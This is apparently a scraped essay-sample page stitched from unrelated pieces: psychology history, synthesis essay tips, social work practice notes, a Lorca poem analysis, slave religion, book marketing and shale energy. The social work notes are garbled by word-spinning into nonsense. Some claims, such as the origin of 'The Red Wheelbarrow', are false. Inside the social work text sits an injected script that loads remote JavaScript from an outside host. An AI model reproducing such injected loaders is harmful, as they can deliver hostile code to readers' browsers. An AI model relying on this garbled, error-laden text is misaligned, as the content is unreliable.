Social And Cultural Context Of Psychology - 818 Words

Katja Gavrilina Define the term Psychology and discuss its history in light of social and cultural context, highlighting the significance of different perspectives in Psychology. Psychology is defined as the scientific study of mental processes and human behaviour. It had roots in philosophy and physiology, before becoming an independent scientific discipline in the late 1800 s. Descartes (1641) suggested that the mind and the body work separately, together creating the human experience (Mastin L. 2008). This idea of so called dualism shaped a number of on going discussions in modern psychology, such as the nature nurture debate. In 1879 the first experimental laboratory was founded by Wilhelm Wundt, in Leipzig, Germany. This fundamental moment is referred to as the birth of Psychology. Until the 1900 s psychologists mainly studied the conscious human experience. Sigmund Freud, Austrian physician, caused a ground-breaking shift in this field (1890 s - 1930 s). He brought special importance to the unconscious mind, arguing that early childhood experiences and unconscious urges shape our adult personality. He emphasized the importance of sex and stages of early development. Contributing psychoanalysis in the 20th century, Freud had an enormous impact on the field of Psychology. His theory is unscientific and based on his individual cases, which makes it hard to generalize his assumptions. Freud s work was also criticized by feminist Karen Horney,Show MoreRelatedMulticultural Psychology Paper1094 Words   |  5 PagesMulticultural Psychology Paper Multicultural Psychology Paper Multicultural psychology is the systematic study of all aspects of human behavior as it occurs in settings where people of different cultural backgrounds encounter each other. Multiculturalism has been considered a fourth force in the field of psychology, supplementing behaviorism, psychodynamic theories, and humanistic psychology. It explores such topics as differences in worldviews and in means of communication; the acculturationRead MoreThe Impact Of Culture On Mental Health Essay1673 Words   |  7 PagesIntroduction The importance of a cross-cultural understanding in Psychology is imperative to successful care and assistance of mental health. Understanding and acknowledging the complexities of different cultures is the beginning of a more informed approach to mental health. Cultural factors and questions play a fundamental role, however, simply acknowledging cultural differences does not necessarily provide the best individual help. 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Synthesis Essay Prompt Samples Features

Synthesis Essay Prompt Samples Features When you've written your outline, the next thing to do is to get to the true writing. Once you are finished, set the paper away for two or three hours or, even better, a complete moment. Such paper tends to get different sections. Prompt consists of an article that you've got to synthesize. Write a last thesis statement Make sure your thesis statement is pertinent to the major body. Your essay order will be contingent on few points that are quite critical for the success. There isn't enough information to create a last choice. A complete topic for a synthesis paper is one which encourages you to have a stance on a debatable iss ue. Still, you've got to appear at the suggested theme from other perspectives so as to formulate your distinctive and intriguing viewpoint. Please, double check the info you gather to create your paper strong. Make certain you have read all your sources. Many of your sources will most likely have informat ion that could support either side of an argument. The sources that you select shouldn't necessarily prove your standpoint. Most Noticeable Synthesis Essay Prompt Samples A synthesis essay is the sort of paper where you have to synthesize various writing techniques. If you're writing a background synthesis, in some instances it could be appropriate that you offer you an interpretation of the material or have a position (thesis). It's almost not possible to produce your synthesis paper outline in case you don't know the prerequisites of the undertaking. Therefore, a synthesis paper outline will assist you in avoiding errors like having weak thesis statement which doesn't explicitly state your claim. What to Do About Synthesis Essay Prompt Samples Before It Is Too Late What you will need is a topic that has a lot of sources that could support more than 1 position. Once you work through your sources, make a decision as to what position you're likely to take. The only thing yo u ought to do is pick three or four sources to be able to argue the topic. You're able to make short annotations and take notes so as to summarize the principal ideas of the chosen sources. You must have few sources to produce your paper reliable and convincing. By now you've got a couple sources that are associated with your prompt. When it is all about figuring out how to compose an AP English synthesis essay, it's important to open the official AP website with the present requirements and study the grading rubric to comprehend what things to concentrate on. To do that you always have the option to ask about topics which were picked already. Students lead busy lives and frequently forget about a coming deadline. Therefore, many students and employees decide to get cheap essay rather than writing it themselves. A significant question needs a significant answer. The most significant thing you should pay attention to is the thesis statement. Regardless, keep in mind that you're arguing so presenting information supporting only a single side isn't s ufficient enough! Now that you know what a terrible topic appears like, it's time to chat about what a great topic resembles. Only after picking several texts are you going to begin a comprehensive reading. On one hand, it's simpler to compose a paper when you are able to utilize different authors data. Writing can be less difficult than you believe. In doing this you'll have a simple time once it comes to writing a whole paper! Why Almost Everything You've Learned About Synthesis Essay Prompt Samples Is Wrong It is not sufficient to offer an overview of each observed text. Format is dependent on what format is needed by your teacher or professor. Many times, it includes a text you should analyze. Based on your assignment, you may have to select a key text. The Argument About Synthesis Essay Prompt Samples Let's take a good look at every component of a synthesis essay. In summary, to learn to compose a great synthesis essay, a student should discover more regarding the area of research. The 5-Minute Rule for Synthesis Essay Prompt Samples Keep in mind it's important to choose the synthesis essay type. The secret to all types of synthesis is the exact same. Thus, a synthesis is the kind of essay which offers you as the student several resources to utilize in building a strong claim. The term synthesis is understood to be a mixture of elements to form a connected whole.

Base Of Social Work Essay Research Paper free essay sample

Base Of Social Work Essay, Research Paper Knowledge Base of Social Work: Practice methods that correspond to the degrees of Practice are: 1. Micro degree of practice- direct practice/service delivered straight to clients ( face to face and minimum administrative work. 2. Mezzo degree of practice- indirect pattern affecting administration/leadership functions enabling effectual bringing of services. ? Policy preparation ? Program design ? Funding ? Management ? Supervision ? Organizational and Public Relations ? Community Education ? Monitoring for Improvement of Productivity 3. Macro degree of practice- involves the procedures of Social Planning and Community Organization ? Professional Change Agents who assist Comm. Action Systems composed of persons, groups or Organizations deal with societal jobs ? Program planning and development, working with governmental agents and Comm. ? Execution of Programs 4. Research- drive force behind strict promotion of cognition Doctrine of Direct Practice 1. Peoples are capable of doing their ain alteration ; they have free will 2. Assist people maximize their possible and independency 3. Change environmental influences that adversely impact clients 4. Increase understanding that behaviour is purposive and end directed and this is non readily discernable. 5. Peoples are capable of larning new behaviours 6. Most troubles can be resolved by concentrating on present picks and mobilising their strengths 7. Increasing people # 8217 ; s cognition and larning new accomplishments produces self growing in the procedure 8. Use schemes that motivate people to implement alterations in assorted types of systems 9. Life # 8217 ; s crises represent chances for growing and command is a beginning of strain in life 10. Peoples need self-affirmation and self-pride. Many struggles are indirect look of feelings of low self-pride. 11. Human growing occurs in the context of relationships with other people 12. We model for others unfastened reliable relationship skills/behaviors 13. Increase reactivity to the demands of others 14. Populate in the world of the present motivates people to exert their potencies more to the full 15. Means of helping clients should safeguard self-respect, self-esteem, self-government and confidentiality 16. Awareness of ego is the first measure to self-fulfillment 17. Peoples right to their ain values and belief systems are intact. It is societal work # 8217 ; s duties to help clients to confront these facets of those beliefs that cause disfunction in their lives. The Helping Procedure Phase I: 1. Establishing resonance 2. Exploring client # 8217 ; s jobs 3. Explicating multidimensional appraisal of the job, systems involved and resources available 4. Enhancing motive of client 5. Mutually negotiating ends and explicating a contract Phase II: -The participants combine their attempts in working towards the ends, dwelling of distinct actions or undertakings that are built-in units of the overall end -Practitioners has the duty of choosing and implementing intercessions that will help clients in carry throughing their ends and undertaking. -Interventions should straight associate to the jobs and to the consequent ends that were negotiated and that were derived from accurate appraisal. -Monitor betterment on regular footing -Use of ego in procedure suitably provides for clients a theoretical account of unfastened an reliable relationship Phase III: 1. Buttocks when persons and group ends have been attained and plan expiration consequently 2. Effecting successful expiration of the assisting relationship 3. Planing for care of alteration and continued growing following expiration 4. Measuring the consequences of the aid in procedure The Cardinal Values of Social Work 1. Developing and utilizing resources 2. Confirming the worth and self-respect of clients 3. Confirming uniqueness and individualism 4. Confirming problem-solving capacities and self-government 5. Safeguarding confidentiality Measuring Group Process 1. A Systems Framework for Measuring Groups- groups are societal systems and therefore germinate inexplicit regulations or norms that govern behavi9ors, form forms, and modulate internal operations. ? As leaders observe groups to spot patterned behaviours, they must at the same time go to to behavior manifested by persons and by the group itself. ? A major functions of leaders in growing groups, is to help members to go cognizant of their patterned behavioural responses, to find the impact of these responses on themselves and others and to take whether to alter such responses. ? Understand Content ( verbal statements ) and Process ( the behaviours displayed by members during the group ) ? Identify functions of group members because they can impact the group # 8217 ; s capacity to react to the single demands of members and its ability to carry through curative aims. ? Members tend to play-out in groups the same functions that they assume in other societal contexts and demand to understand the impact of dysfunctional functions on themselves and others. ? Identify the growing of persons by maintaining a record on each individual to place growing. ? Appraisal must see the cultural background of members ? Assess cognitive forms of the group members Phases of Group Development 1. Preaffiliation-Approach and Avoidance Behavior displayed as probationary engagement, hovering willingness to presume duty, interact with others, and to back up plan activities and events. 2. Power and Control-A Time of Transition into intimate system of relationships ; whereby the new state of affairs becomes apprehensible and predictable. They struggle at this phase concerned with how they rank in relation to other members. Conflicts between opposing subgroups frequently occur in this phase. 3. Intimacy-Developing a Familial Frame of Reference for the group means they see a we-ness and committedness to the group intent. A group character will germinate with a manner and a set of values. 4. Differentiation- Developing Group Identity and an Internal Frame of Reference for the group means they have achieved group-centered operations and single and group demands evolve. Greater freedom of personal look develops with feelings of echt credence and value. 5. Separation- A Time of Breaking Away means for the group a clip of loosening intense bonds and a hunt for new resources and ties to fulfill demands. Patterned Group Behavior ( positive behaviours manifested early on in groups ) ? The group faces up to a job and makes alteration or accommodation ? The group responds positively the first clip a member takes a hazard ? Members of the group are invested and supportive toward other members ? The group moves in + way without the leader # 8217 ; s counsel or intercession ? The group works harmoniously for a period of clip ? Members efficaciously make a determination together ? Members adhere to a specific group goal/work to carry through ? Members give + feedback or detect + ways the group has worked together ? The group responsibly confronts a member who is ruling interaction or interfering with the undertaking ? Members pitch in to clean up after a group session Social Conflict Approach with Clients Under Duress -The challenge of the practician is to minimise or cut down the reactance by reacting in ways that lessen the client # 8217 ; s perceived menace to freedom. Reacting in unexpected ways that cut down menace. These unexpected ways of response convey the feeling of wanting to be an ally instead than an antagonist. 1. Stress picks that are available 2. Contracts in ways aimed at reconstructing freedom 3. Stephen fosters care of some current behaviours to minimise clients # 8217 ; frights of losingss 4. Focuss on limited and specific alterations instead than on planetary and sweeping alterations that would be endangering and unacceptable. 5. Maximizes self-government within parametric quantities determined by the state of affairs Crisis Intervention / gt ; 1. Is clip limited 2. Focuss on jobs of populating instead than abnormal psychology 3. Oriented to the here and now 4. Involves a high degree of activity by the practician 5. Employs undertakings as a primary maneuver of alteration attempts 6. An eclectic model that can suit assorted pattern theories and intercessions Initial Phase of CI 1. To alleviate the client # 8217 ; s emotional hurt 2. To finish an appraisal 3. Plan the scheme of intercession Empowering Peoples with AIDS *Patrick Haney left behind a bequest of guidelines for authorising people with AIDS. 1. Modify their mentality that they are non a victim, merely people with AIDS. A perceptual experience of being a victim Fosters passiveness and a sense of weakness. 2. Focus more on chances for doing the most of a bad state of affairs and less on the fatalistic facets of the disease. 3. Help them to happen people who can supply them with support and they themselves must be caring and supportive. Cognitive Restructuring ( Cognitive Therapy ) ? Most societal and behavioural disfunction consequences straight from misconceptions that people hold about themselves, other people, and assorted life state of affairss. ? Cognitive restructuring is a systematic intercession that is peculiarly utile in helping clients to derive consciousness of dysfunctional and self-defeating ideas and misconceptions that impair personal operation and to replace them with beliefs and behaviours that are aligned with world and lead to heighten operation. ? CT techniques are relevant for jobs associated with low self-prides, distorted perceptual experiences in interpersonal dealingss, unrealistic outlooks of ego, others, and life in general, irrational frights, anxiousness and depression, unequal control of choler and other urges, and deficiency of assertiveness. ? CT is frequently blended with other intercessions ( patterning, behavioural, relaxation, assertiveness, and drug therapy ) because combination of theories is more effectual than individual intercessions. ? Caution: Dysfunction may be caused by a assortment of biophysical jobs, including encephalon and neurological upsets, thyroid instability, blood sugar instability, consumption of toxic substances, malnutrition and other signifiers of chemical instability of the organic structure. Stairss in Cognitive Restructuring 1. Assist clients to accept that their self-statements, premises and beliefs mostly mediate their emotional reactions to life # 8217 ; s events 2. Assist clients to place dysfunctional beliefs and forms of ideas that underlie their jobs ? Ask them how they reached certain decisions ? Challenging them to show grounds back uping dysfunctional positions or beliefs ? Challenging the logic of beliefs that magnify feared effects of certain actions -By deriving pattern in placing and measuring the cogency of self-statements and beliefs, clients achieve preparedness to prosecute in self-monitoring between Sessionss. Self-monitoring expands self-awareness and paves the manner for subsequently get bying attempts. 3. Assist Clients to place state of affairss that engender dysfunctional knowledges. 4. Assist clients to replace functional self-statements in topographic point of self-defeating knowledges. 5. Assist clients to honor themselves for successful header attempts. -Limitations of CT: Often the clients lack societal accomplishments and necessitate direction and pattern before they can efficaciously execute new behaviours. CT is frequently used in combination with practician mold, behavioural dry run, and guided pattern to help clients to get the hang indispensable accomplishments needed. Troubles in Trusting and Transference ? Aloofness and intuition are defensive forms that protect clients from imagined injuries, development, rejection, unfavorable judgment, penalty, and control by others. ? Trying to carry clients of one # 8217 ; s purpose is normally counterproductive, alternatively exercising forbearance and continuity. ? Attempt to make clients who cancel or miss assignments by phone or home-call ( missive is less effectual ) . Acknowledge that their failure to maintain assignments is more a form of turning away than a deficiency of motive. ? Transference Chemical reaction: the client transportations to the practician wants, frights, and other feelings that are rooted in the past experiences with others hindering the procedure. ? Transference Reactions involve over generalised and deformed perceptual experiences that create troubles in interpersonal relationships. ? Its besides an chance for growing. The challenge is to help such clients to acknowledge their deformed perceptual experiences and to develop finer interpersonal perceptual favoritisms so that they can distinguish and cover with others as alone persons instead than overgeneralise projections of images, beliefs, or attitudes. Pull offing Transference Chemical reactions -It is critical to switch concentrate to their here-and-now feelings. 1. Be unfastened to the possibility that the client # 8217 ; s reaction is non unrealistic and by be produced by your behaviour and respond genuinely by having duty for your behaviour. 2. It is of import to react in different ways that the client # 8217 ; s awaited response from their past interactions. This forces the client to distinguish the practician from past figures. 3. Help the client to find the immediate beginning of deformed perceptual experiences when the feelings emerge. By researching these feelings and non rectifying them you assist the client to spread out their consciousness of their forms of overgeneralising. 4. After clients have discerned the unrealistic nature of their feelings and manifested consciousness of the deformations portion your existent feelings. This can reassure clients who have felt offended, hurt, resentful, rejected or the similar. 5. After you have examined the debatable feelings, assist clients to find whether they have experienced similar reactions in other relationships. To help clients to spot forms of deformations that creates troubles in other relationships. Countertransference Chemical reactions -It green goodss distorted perceptual experiences, blind musca volitanss, wants, and antitherapeutic emotional reactions and behaviour. Such as: ? Deviating clients from showing choler because healer is uncomfortable ? Overidentifying with rebellious striplings due to unsolved feelings towards autocratic parents -Becoming aware of unrealistic feelings toward a client or of reactions are signals that a practician should instantly take appropriate disciplinary steps. Otherwise the countertransference will restrict the practician # 8217 ; s possible helpfulness or contribute to the client # 8217 ; s disfunction. -The first measure in deciding countertransference is to prosecute in self-contemplation ( analytical duologue with oneself aimed at find ) -The 2nd measure if 1st doesn # 8217 ; t work is to discourse it with a co-worker or another professional for difference position. -Not all negative feelings or reactions are due to countertransference. Look beyond the violative qualities of certain clients and discover positive qualities. Efficaciously Pull offing Sexual Attraction ? Take disciplinary steps such as self-contemplation or confer withing with another professional. Pull offing Resistance -Rule of pollex: If opposition International Relations and Security Network # 8217 ; t strong plenty to hinder advancement, its best ignored. 1. Bring it to discussion by concentrating on the here-and-now feelings that underlie opposition. ? An reliable response that conveys the practician # 8217 ; s good will and concern besides reaffirms the helpful purpose and desire to work on troubles. ? Initiate geographic expedition of the beginning of opposition ? Accredit their strengths when they discuss the feelings, to kill the feared response and reenforce the client for unwraping hazardous feelings 2. Use Positive Intensions to assist clients acknowledge the positive and negative sides of opposition. ? The end is to minimise the client # 8217 ; s needs to support themselves and to safeguard their already unstable self-prides. It is of import to assist clients acknowledge that their indecent reactions derived from deformed perceptual experiences and to promote them to show their feelings straight in the hereafter. 3. Redefine Problems as an chance for Growth 4. Confront forms of opposition. 5. Use Curative Binds-Confronting clients in a manner that they either have to alter or ain duty for taking to perpetuate their troubles. Use to help non move out defeat. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Literary Analysis

Introduction Frederico Garcia Lorca’s â€Å"romance de la pena negra† was published alongside various similar poems in the book entitled â€Å"Romancero Gitano† or commonly known as the Gypsy Ballads. The poems therein focused on the character of the gypsy which acted as a representation of the instincts and passions unbridled by the trappings of morality, society, cultural training and distinction[1].Advertising We will write a custom essay sample on Literary Analysis specifically for you for only $16.05 $11/page Learn More This particular distinction accorded to gypsies is not unique to Lorca but rather can be seen in other famous work such as The Hunch Back of Notre-Dame by Victor Hugo where the female character Esmeralda is represented as being outside the normal trappings of society, being the embodiment of passion and freedom. Another similarity between the two works can be seen in Lorca’s representation within the vario us poems of the supposed â€Å"omnipresence of sexual instincts† (Edkins 238 – 239) which are always threatened by repression yet break free nonetheless often times leading to a sudden and climactic death. As you may recall, the character of Esmeralda also died towards the end of the novel. This is indicative of a style that shows how the release of unbridled passion is usually looked down upon by society and is met by an ignominious and sudden unfortunate ending in most cases[2]. While the poem â€Å"romance de la pena negra† does not end in the death of the character it does appear to end negatively. As such, based on the comparison of the works of Lorca with other similar kinds of literature using the same type of literary pattern this paper will attempt to examine whether freedom and passion for Lorca, despite the overtly sexual content of his work, are aspects which should be controlled lest they result in an ignominious end. Examination of Ballad Structure and use of Dramatic Imagery This particular work of Lorca utilizes an 8 syllable line rhyming structure prevalent to many poems produced in that era. Due to the simplicity of the structure the poem is easy to read and as such the dramatic imagery that it imparts becomes that much more impressive. The one criticism I have of various poetry styles that attempt to use dramatic imagery is that at times they use overly complicated structures or monosyllabic structures which are hard to understand or comprehend immediately. For example the poem â€Å"The Red Wheelbarrow† is considered to be the masterpiece of 20th century writer William Carlos Williams, supposedly written in five minutes when he was caring for a sick child that eventually died[3].Advertising Looking for essay on literature languages? Let's see if we can help you! Get your first paper with 15% OFF Learn More In this case instead of the various lines being measured by syllables they are instead measur ed by words with each stanza in the poem having three words with a single line coming after that with just a single word[4]. Though this particular type of poem is attempting invoke a type of dramatic imagery through simplicity its overall style is so far from the norm that most people find it hard to comprehend the meaning of the poem let alone see any form of imagery resulting from it. On the other hand the styles utilized by Larco are far more reminiscent of traditional poetry styles and thus can easily be interpreted and understood. This in itself could be considered an intentional aspect of the poem done by Larco in order for the imagery he was trying to portray to appear more easily. Invoked Imagery Repeated reading of the poem invokes two distinct forms of imagery to describe Soledad Montoya, the first taking the form of a river flowing down a mountain, the second being the imagery of a woman traversing the mountain steppes with her clothes undone and her hair all around her face. When researching the words â€Å"Soledad Montayo† nothing truly definite came about that accurately describe who or what it was. The reasoning behind its usage can thus be attributed to artistic license where the author wanted it to mean something for a specific reason with which many interpretations can be derived. First Imagery: The Raging Mountain Stream While this particular interpretation of the imagery invoked by the poem is far from traditional interpretations the fact remains that if an individual were to try to interpret the poem from a literal context many would assume that the few beginning stanzas were describing a river. For example the lines â€Å"down the dark mountain comes Soledad Montoya† (Edkins 238 – 239), if placed in the context of a geographic location most people would think it refers to a river. This interpretation is further justified by the succeeding lines â€Å"Yellow copper, her flesh, smells of horses and dusk† (Edkins 238 – 239), it is a well known practice in various agricultural parts of Spain to take horses out in order to let them drink from the river. Since it takes a while for the water to flow down a mountain the water that drips down from the time of dusk reaches the horses by the time of dawn. The yellow color is attributed to the light of the sun striking the water’s surface giving it a slight golden sheen. This final line from the poem solidifies this line of reasoning â€Å"Soledad of my sorrows, a stampeding horse ends up in the sea and is swallowed by the waves† (Edkins 238 – 239). One well known fact is that all rivers inexorably flow from mountains to the sea, the flow of water increases depending on the breadth and depths of the water making it seem at times like the stampeding hooves of horses.Advertising We will write a custom essay sample on Literary Analysis specifically for you for only $16.05 $11/page Learn More Whi le this interpretation is largely literal it does make quite a bit of sense when compared to stanzas used to show the correlation between the poem and the river. The use of personification in various parts of the poem could be interpreted as the river speaking, an occurrence that is not unique in the realm of poetry where the use of personification has been attributed to far stranger objects. Second Imagery: Woman traversing the mountain steppes on her way home The second and most widely accepted imagery attributed to the poem â€Å"romance de la pena negra† is that of a mountain girl in Spain coming down from the mountains with a disheveled appearance who had tried to look for her forsaken lover. An attempt to translate the words â€Å"Soledad Montoya† using Google Translate shows that the word â€Å"Soledad† could be interpreted as â€Å"solitude†, to contextualize this word to better fit the poem the translation would be â€Å"lonely Montoya†. B ased on this it can be assumed that the character of Soledad Montoya is someone that is lonely. The gender is defined from the following line: â€Å"smoky anvils, her breasts wail rounded songs, braids trailing the ground, my body and clothes, my linen camisoles† (Edkins 238 – 239). The use of breasts, braids and linen camisoles is indicative of the physical traits seen in women and unlikely to be utilized by men as such the character in poem can be described as a lonely woman when adapting the use of the word â€Å"Soledad† to indicate loneliness. Another factor to take into consideration is the title of the poem itself â€Å"romance de la pena negra†, a literal translation of this results in the phrase â€Å"ballad of the black grief†. When taking the title of the poem into consideration and the interpretation of the word â€Å"Soledad† to mean loneliness the resulting characterization is that of a lonely woman that is grieving. To this en d it must then be asked what the woman is grieving about, the following lines shed light on answering this particular question: â€Å"do not remind me of the sea, for the black grief is born under the rustling of the leaves in the lands of the olive tree† (Edkins 238 – 239). Three particular details must be noted here, for one the poem obviously takes place in the setting of a mountainous region, secondly the character specifically mentions the sea as the source of her grief and finally the phrase â€Å"lands of the olive tree† (Edkins 238 – 239) indicates a place far away.Advertising Looking for essay on literature languages? Let's see if we can help you! Get your first paper with 15% OFF Learn More One assumption that seems the most likely is that the origin of her grief is someone who left on a ship on the sea to go to the land of olive trees. An examination of various literary contexts specifically mentioning the phrase â€Å"the land of the olive trees† indicates the area to either be in Italy or somewhere near Greece or the Mediterranean. Since the setting of this poem is assumed to be in Spain this indicates that that the lover of Soledad went away to the land of olive trees. Thus the plot of the poem becomes obvious, the character â€Å"Soledad Montoya† is walking through a mountainous region after seeing her lover leave on a ship on the way to the land of olive trees. Her loss creates loneliness and sorrow emphasized by the lines â€Å"what a pitiful grief, you weep drops of lemon, bitter lips, sour with waiting, how heavy is my grief† (Edkins 238 – 239). Interpreting the Context of the Second Imagery Earlier it was stated that within the var ious poems in â€Å"Romancero Gitano† there existed the supposed â€Å"omnipresence of sexual instincts† (Edkins 238 – 239) which are always threatened by repression yet break free nonetheless often times leading to a sudden and climactic death. The character of the gypsy acted as a representation of the instincts and passions unbridled by the trappings of morality, society, cultural training and distinction which is an ever present aspect of the various poems thus it can be assumed that such aspects also exist within â€Å"romance de la pena negra† as well. As mentioned earlier the work of Lorca tended to focus a lot on freedom and unbridled sexual instincts however in several poems the result of such exuberance has always ended in sorrow. The same can be said of the situation in â€Å"romance de la pena negra†, the character of Soledad Montayo can thus be assumed to be the personification of the sexual qualities Lorca liked to imbue in his poems[ 5]. Stanzas such as â€Å"yellow copper, her flesh smells of horses and dusk, smoky anvils, her breasts† seems to bring forth the imagery of a truly spectacularly beautiful woman who embodied the freedom and sensuality associated with gypsies. In the poem itself there are actually two voices, that of Soledad and another that asks her who she seeks and tells her to clean her body, as such it can be assumed that this individual is a parent possibly the mother of the character herself. As such in this poem we are privy to the scene of a mother comforting her daughter after she had lost her love. Another interpretation of the poem using the same context can be that Soledad Montayo was taken advantage of with the word Solidad taking on the meaning of â€Å"sorrow† instead of loneliness. For example these are several curious lines in the poem that need to be examined more closely: â€Å"tormenting pain! turning jet black, my body and clothes, my linen camisoles! my thighs o f red poppy!† (Edkins 238 – 239). While emotions associated to grief can cause pain the next set of words â€Å"turning jet black† add a rather curious detail to the poem. While it can be assumed that the term â€Å"turning jet black† could be assumed as her heart turning black as is seen in numerous poems about lost love there is no specific mention of the heart itself. Rather turning jet black could be associated with apparent injuries that are turning jet black which are causing her pain. What must be understood is that Lorca enjoyed adding overtly sexual references to much of his work and as such it would not be surprising to see an aspect of that reflected in this poem[6]. The tormenting pain, the injuries turning jet black and a specific reference to her thighs being red could be indicators of an apparent sexual assault. Many version attempting to interpret the poem of Lorca always seem to depict Soledad Montoya in rags, another interpretation could be that her dress was ripped as a result of being assaulted. In keeping with the ignominious end several gypsies in the poems of Lorca met, in this instance it could be that Soledad Montoya was with her love who was headed to the land of olives yet refused to give herself to him, as a result he overpowered her, raped her and left. This would explain why the parent in the concluding stanzas of the poem told Soledad to clean her body. As such this shows how Soledad Montayo who embodied the freedom and passion of the gypsies found herself reaching a bad conclusion as a result of her passions. On the other hand another interpretation of a less sexually charged nature can state that her loss was merely that of losing her love. An examination of the life of Lorca at the time of this poem’s creation showed that at the time he was passionately involved with Salvador Dali yet they could not go public with their relationship due to the inherent problems with the views on homosexual beh avior at the time. As such the message of the poems which indicate that passions and freedoms should be controlled lest that person meets an ignominious end could be a reflection of the thoughts of Lorca at the time who could not let knowledge of his relationship and his apparent homosexuality go public due to the social ostracization that would follow[7]. Conclusion Based on historical revelations on the hidden life of Lorca it can be seen that the messages in some of the poems in which love and passion allowed to reign free met ignominious ends was the result of Lorca’s own reasoning that he should not reveal who he was to the public[8]. His poems acted as a reflection of this own thought process similar to what Oscar Wilde accomplished in his literary masterpiece â€Å"The Picture of Dorian Gray† where the characters of Lord Henry Wotton, Dorian Gray and Basil Halward all acted as reflections of the author’s own persona. In the case of Romancero Gitano the po ems contained therein could be considered more of an interpretation of the author’s thought processes and logical thinking rather than a true reflection of personality. References Edkins, Anthony. â€Å"Gypsy Ballads (‘Romancero gitano’).† Modern Language Review 87, no. 1 (January 1992): 238-239. Academic Search Premier, EBSCOhost . Gatto, K, ‘Federico Garcà ­a Lorca’, Critical Survey of Poetry, Second Revised Edition, 2003, pp. 1-6, Literary Reference Center, EBSCOhost. Greenfield, Sumner M. â€Å"Garcà ­a Lorca, Federico.† Columbia Dictionary of Modern European Literature (February 1980): 285-286. Literary Reference Center, EBSCOhost . â€Å"The Book of the Dead Man (The Red Wheelbarrow).† Boulevard. 109-110. OpoJaz, Inc., 2010. Footnotes Edkins, Anthony. â€Å"Gypsy Ballads (‘Romancero gitano’).† Modern Language Review 87, no. 1 (January 1992): 238-239. Academic Search Premier, EBSCOhost . Ibid â€Å"Th e Book of the Dead Man (The Red Wheelbarrow).† Boulevard. 109-110. OpoJaz, Inc., 2010. Ibid Gatto, K, ‘Federico Garcà ­a Lorca’, Critical Survey of Poetry, Second Revised Edition, 2003, pp. 1-6, Literary Reference Center, EBSCOhost. Gatto, K, ‘Federico Garcà ­a Lorca’, Critical Survey of Poetry, Second Revised Edition, 2003, pp. 1-6, Literary Reference Center, EBSCOhost. Greenfield, Sumner M. â€Å"Garcà ­a Lorca, Federico.† Columbia Dictionary of Modern European Literature (February 1980): 285-286. Literary Reference Center, EBSCOhost . Ibid This essay on Literary Analysis was written and submitted by user Averie J. to help you with your own studies. You are free to use it for research and reference purposes in order to write your own paper; however, you must cite it accordingly. You can donate your paper here.

Slave Religion essays

Slave Religion essays When it comes to religion most people feel they have a belief in God or a higher power. This belief helps sustain them in times of mental and emotional turmoil and many times physical pain. The slaves of North America brought with them a belief in their sacred beings, in which they didnt distinguish the living from the dead. Their belief that in death the body just slips from the physical state to a spiritual one was widely believed in and can still be seen in such places as Jamaica and Trinidad, and in United States but to a lesser degree in the form of Voodoo. A religion that incorporates Because they were very expressive in their supplications to God in their practice of their religious beliefs, their prayer sessions were stifled by the slave holders for fear of slave revolts. Because of the censorship, they generally had to wait until late at night after the head count when they could slip away to a designated location (generally a predetermined slave house) or theyd steal a way into the woods for fear of being heard by their masters. When really concerned about their masters not learning of their prayer meeting (particularly their mid week meetings) to mute their voices they would turn pots upside down in the middle of the floor or the round area in the thickets that they had created for their prayer sessions. Some would even resort to putting pots over their heads because they were overcome with emotions and it was forbidden to worship without the masters approval. The African slaves brought with them the practice of laying of their hands on each other as they sang and prayed as a sign of physical support, understanding, and healing of the spirit. Their beliefs helped them survive the physical, mental, and emotional degradation of being humans in bondage. In the US during the first one hundred and fifty years the slaves were able to practice their religion almost unobs ...

Using Tricks of the Librarian Trade to Market my Book

Using Tricks of the Librarian Trade to Market my Book Using Tricks of the Librarian Trade to Market my Book Melodee Elliott may have been new to self-publishing when she released her debut novel, The Assumption Code, earlier this year. However, having a Master's Degree in Library Sciences, she's no stranger to looking for books. In this article, she talks about how she put the theories she learned in her degree to practical use when it came to marketing her novel and  thinking like a reader. The free promo was an interesting exercise. It taught me that marketing starts way before doing so-called marketing tasks. It starts with the skill and care taken to produce a book and harness the reader’s expectations.Books remain in the virtual bookstore for a very long time. Every reader on a search for the next great read will go through the actions of Find, Identify, Select, and Obtain, and it’s up to me to make sure those steps lead them to my book.The Assumption Code is available in paperback from Amazon and on Amazon Kindle!Head to Melodee's website to learn more.Lastly, leave any thoughts, experiences, or any questions for Melodee  in the comments below.

Game changers in the us economy Essay Example | Topics and Well Written Essays - 750 words

Game changers in the us economy - Essay Example Shifting through more than a dozen possible game changers to boost this sluggish growth, five such theories have been identified as feasible for US market. These five will act as a catalyst for the US market and revive it from this depressing state. These five can further be dived into: Shale energy, knowledge intensive trade, big data, infrastructure, talent development. Shale, knowledge, and infrastructure will prove to be the most effective game changers to help revive US from this crucial stage and all of the five will provide a strong foundation for long term growth and competitiveness. Shale energy is the production of natural gas and light tight oil extracted from very deep grounds. It is too costly to extract these energy resources but US possessing the 4th biggest Shale gas resources has to utilize it properly so that they can enter the market accordingly. The production of natural gas and light tight oil is already booming in places like Dakota, Texas, and Pennsylvania as t he some stakeholders have realized the importance of the energy in terms of economical progress. If utilized properly then it could add a potential boost of $380-$690 billion to annual GDP by 2020. And this will in turn generate an additional 1.7 million jobs. Moreover, by producing their own energy from natural resources the US imports will reduce to zero. But along with that the environmental risk must also be controlled to fully realize its potential.

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King Arthur Literary Analysis Essay Example for Free

